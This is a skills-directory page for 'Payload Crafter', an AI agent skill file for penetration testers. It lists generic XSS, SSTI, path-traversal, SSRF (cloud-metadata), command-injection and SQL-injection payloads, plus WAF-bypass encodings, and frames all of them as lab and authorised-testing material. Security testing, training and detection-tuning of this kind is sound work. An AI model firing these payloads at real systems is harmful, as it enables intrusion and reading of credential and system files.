Skip to content
Back to skills

Payload Crafter

BSecurity

Pattern-level payload library for XSS, SSTI, LFI, SSRF, and command injection — context detection (HTML body/attribute/JS/CSS/URL), encoding-bypass shapes (URL/HTML/Unicode/double), polyglots, WAF-bypass patterns at syntax level. No version-specific weaponized exploits.

  • 4 stars
  • 0 votes
  • 0 copies
  • 1 view
  • Added May 28, 2026
securityjavascriptgojavarubyphpshellsqlspringdockeraws

Works with

  • api

Security analysis

B88/100
  • criticalAccesses sensitive system or user directories

Pro shows the line behind each finding and how to fix it

Scanned May 28, 2026

npx -y skills add roodlicht/accans-sec-skills --skill payload-crafter --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Payload Crafter?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Payload Crafter
[![Security: B — Skills Directory](https://www.skillsdirectory.com/api/skills/roodlicht-payload-crafter/badge)](https://www.skillsdirectory.com/skills/roodlicht-payload-crafter)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: payload-crafter
description: Pattern-level payload library for XSS, SSTI, LFI, SSRF, and command injection — context detection (HTML body/attribute/JS/CSS/URL), encoding-bypass shapes (URL/HTML/Unicode/double), polyglots, WAF-bypass patterns at syntax level. No version-specific weaponized exploits.
---

# Payload Crafter

> **Pattern-level discipline**: this skill provides payload shapes to illustrate class behavior, not ready-to-run exploits against specific target versions. Working exploits for production targets require RoE sign-off and a lab context. Version-specific 0-day payloads (gadget chains, PoCs for specific named CVEs) are not here — those belong in a closed engagement workspace, not in a reusable skill.

## When to use

Payloads are the hands-on side of vuln discovery. `web-exploit-triage` classifies; this skill provides illustrative test shapes per class, for verification in a lab or within an RoE-permitted sandbox.

Triggers on:

- A question like "what is a suitable XSS payload for JS context", "test payload for SSTI on Jinja2", "LFI example with PHP wrappers", "SSRF to cloud-metadata pattern", "WAF bypass for SQLi".
- Lab work where you are verifying a specific vuln class and need a pattern illustration.
- Training context: showing examples to developers so they see what their input validation must catch.
- Defensive context: WAF tuning, building regex rules — testers supply shapes, defenders build detection.

### When NOT (handoff)

- Classification of exploitable yes/no → `web-exploit-triage` (this skill leans on it).
- Version-specific RCE PoCs → not in this skill. Engagement-specific work.
- Chain assembly → `exploit-chain`.
- Post-exploitation payloads (reverse shells, persistence implants) → `post-exploit`. This skill stops at the first-impact shape.
- AD-specific payloads (Kerberos tickets) → `ad-attacks`.
- C2 payload staging → `c2-hygiene`.
- WAF fingerprinting of a specific production WAF in order to bypass it specifically → engagement work within RoE; this skill provides generic encoding shapes.

## Approach

Six phases. Phase 2 (class choice + context) and phase 3 (pattern library) are the core.

### 1. Context detection

A payload without context fitting does not work. Before you choose a payload, know:

- **Reflection location**: HTML body, HTML attribute, JavaScript string, JavaScript context, CSS, URL parameter, header value, JSON field, HTTP response.
- **Encoding of the channel**: is the input HTML-escaped, JS-string-escaped, URL-encoded? Which characters survive untouched?
- **Output context**: render context (browser HTML, browser JS, server-side template, command, SQL, LDAP, XPath).
- **Sanitization in the path**: framework default escape, explicit `bleach` or `DOMPurify`, allow-list validation.
- **Length limits and character filters**: some payloads are only practical at certain lengths.

Without these five, payload choice is guessing. Start with benign probes (such as `xss<>"&'1234567`) and see what survives in the response.

### 2. Class selection

Match symptom to class:

- **XSS** when input lands in an HTML/JS render context and is not context-aware-escaped.
- **SSTI** when input lands in a server-side template string (often recognizable by reflection of `{{...}}` or `${...}` evaluation).
- **LFI / Path Traversal** when input lands in a file-system call (read, include, require).
- **SSRF** when input lands in an outbound HTTP call and determines the host.
- **Command Injection** when input lands in a shell execution (subprocess, system, exec, backtick).
- **Headers / Smuggling**: HTTP request smuggling, host-header injection, etc. Specialty classes.

Cross-reference the class detection with `web-exploit-triage`. Do not send a payload without classification.

### 3. Pattern library per class

Pattern level only. What follows is a set of class illustrations freely available in any OWASP cheat sheet or PortSwigger lab — no 0-days, no specific CVE PoCs.

**XSS — context-specific shape selection**:

```
HTML body context:           <svg onload=alert(1)>
HTML attribute (unquoted):   x onmouseover=alert(1)
HTML attribute (quoted):     ">x onmouseover=alert(1)
JavaScript string:           ';alert(1);//
JavaScript context (no quotes): -alert(1)-
URL/href context:            javascript:alert(1)
Image src:                   <img src=x onerror=alert(1)>
SVG:                         <svg/onload=alert(1)>
```

Polyglots (one payload, multiple contexts) exist in OWASP collections — use when context is unknown on first probe.

**SSTI — engine fingerprint and class test**:

```
Engine-fingerprint probes (which evaluator?):
  {{7*7}}      → Jinja2/Twig/Liquid → 49
  ${7*7}       → JSP/Spring SpEL/FreeMarker → 49
  <%= 7*7 %>   → ERB/EJS → 49
  *{7*7}       → Thymeleaf → 49
  #{7*7}       → some Spring/Ruby → 49

Class test (NOT payload completion):
  Jinja2: {{ ''.__class__.__mro__[1].__subclasses__() }}
  → reveals class tree, sufficient evidence for SSTI classification
```

Beware: working RCE payloads for Jinja/FreeMarker/etc. are engine-version-specific and belong in a lab context, not in this skill.

**LFI / Path Traversal — traversal shapes and wrappers**:

```
Basic traversal:             ../../../etc/passwd
URL-encoded:                 %2e%2e%2f%2e%2e%2fetc%2fpasswd
Double-encoded:              %252e%252e%252fetc%252fpasswd
Null-byte (legacy):          ../../../etc/passwd%00
PHP wrappers:                php://filter/convert.base64-encode/resource=index.php
Windows traversal:           ..\..\..\windows\win.ini
Unicode bypass:              ..%c0%afetc/passwd
```

Wrappers and encoding form depend on platform and filter stack; probe in lab.

**SSRF — protocol and target shapes**:

```
Cloud-metadata targets (pattern level):
  AWS:    http://169.254.169.254/latest/meta-data/
  GCP:    http://metadata.google.internal/
  Azure:  http://169.254.169.254/metadata/instance?api-version=2021-02-01

Protocol smuggling:
  file:///etc/passwd
  gopher://target:port/_<protocol-payload>
  dict://target:11211/stat
  ldap://target/

DNS-rebinding pattern: hostname that initially resolves to a public IP, after TTL to an internal IP.
```

Verify only that the outbound call is made (DNS callback with `interactsh`, Burp Collaborator), without actually hitting sensitive internal endpoints in production.

**Command Injection — separator and bypass shapes**:

```
Common separators:  ; & | && ||
Substitution:       $(cmd) `cmd` ${cmd}
Newline:            \n cmd
Whitespace bypass:  ${IFS}cat /etc/passwd
Brace expansion:    {cat,/etc/passwd}
Encoded:            base64-decoded one-liners (in lab only)
```

For production PoC: a harmless probe (`id`, `hostname`, `whoami`), not `cat /etc/shadow` or data extraction.

**SQL Injection — class fingerprint** (already broadly covered by SAST/DAST tooling, brief here):

```
Tautology:          ' OR '1'='1
Comment-based:      ' OR 1=1--
Union-based test:   ' UNION SELECT NULL-- 
Boolean-blind:      ' AND SUBSTR((SELECT version()),1,1)='5'-- 
Time-blind:         ' AND SLEEP(5)-- 
```

Tools (sqlmap) automate production discovery; this skill provides the pattern level reviewers can read.

### 4. WAF bypass: encoding shapes at pattern level

WAFs match on signatures. Bypass shapes mutate the payload so the signature does not match while the target parser still evaluates correctly.

- **Case variation**: `<ScRiPt>`, `SeLeCt`. Cheap first attempt.
- **URL encoding**: standard, double (`%252f`), triple. Most WAFs decode 1× or 2×, not always 3×.
- **HTML-entity encoding**: `&#x3c;script&#x3e;`. Works in HTML render context.
- **Unicode equivalents**: full-width Latin (`<` = U+FF1C `<`), homoglyphs.
- **Comment insertion** in SQL: `SE/**/LECT`, `UN/**/ION`.
- **Parameter pollution**: `param=val1&param=val2` — some WAFs see only one instance, the target parser combines.
- **Whitespace substitution**: tab `\t`, newline `\n`, carriage return, formfeed, `IFS` in shell.
- **Concatenation tricks**: SQL `'a'||'b'`, JS `String.fromCharCode(...)`.
- **HPP (HTTP Parameter Pollution)** + JSON body mismatch: parser discrepancies between WAF and app.

Discipline: work one bypass at a time and log what worked, for reproducibility and for blue-team feedback.

### 5. Lab verification and PoC discipline

- **Lab first, then production.** Build the local variant (Docker container with the same framework version) and test your payload until it works before using it elsewhere.
- **Probe payload first**: harmless evidence that the class injection works (`alert(1)`, `id`, `7*7=49`). Not full-impact straight away.
- **No data exfil against production without sign-off**. A `cat /etc/passwd` is low-impact on most systems, but you should not do it without sign-off. A `select ssn from users` certainly not.
- **Cleanup path**: if your payload leaves state behind (stored XSS, database row), name how it gets cleaned up.
- **Detection feedback** where possible: tell the blue team which payload shape you used, so their WAF/SIEM/IDS rules are tested for usefulness.

### 6. Verification-loop

Layer 1: scope (payload within RoE-permitted scope, no experiments on out-of-scope or third-party?), assumptions (payload kept at pattern level, not silently turned version-specific?), gaps (context detection verified, not guessed?). Layer 2: payload shapes attributed from public OWASP/PortSwigger sources, no version-specific gadget chains in the skill, no ready-to-run exploit for named CVEs, encoding claims (which WAF decodes which encoding) not presented as fact without verification.

## Output

Per probe or test:

```
Payload test — <class> in <context>
RoE scope:        <confirmed>
Context detect:   <HTML body | JS string | URL | ...>
Filter path:      <known | unknown>

Probes executed:
  1. <shape> → <response/observation, redacted>
  2. ...

Class confirmed:      <yes, with pattern evidence | no>
Bypasses tried:       <encoding shapes, WAF response>
Class confirmed without weaponization: <yes>

Handoff:
  - web-exploit-triage:  <classification + impact>
  - exploit-chain:       <chain candidate Y/N>
  - pentest-reporter:    <finding shape for the report>

Verification-loop: ...
```

Do not pass on to the customer: raw weaponized PoCs, production test creds, unredacted shell-spawn payloads. A pattern shape with a "verifiable in lab" doc is enough.

## References

- **OWASP XSS Filter Evasion Cheat Sheet** — [https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html). Canonical XSS pattern source.
- **PortSwigger Web Security Academy** — [https://portswigger.net/web-security](https://portswigger.net/web-security). Per-vuln-class labs, the best open lab collection.
- **PayloadsAllTheThings** — [https://github.com/swisskyrepo/PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings). Community collection of class payloads. Read second, verify first.
- **OWASP SSTI Wiki** — [https://owasp.org/www-project-web-security-testing-guide/](https://owasp.org/www-project-web-security-testing-guide/) (WSTG-INPV-18). Engine-fingerprint patterns.
- **OWASP Command Injection Defense Cheat Sheet** — [https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html).
- **OWASP Path Traversal** — [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal).
- **HackTricks** — [https://book.hacktricks.xyz/](https://book.hacktricks.xyz/). Community doc per attack class. Verify on use; not every entry is equally well checked.
- **CWE** — [https://cwe.mitre.org/](https://cwe.mitre.org/). Class IDs for finding classification.

## Categories

- pentest

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.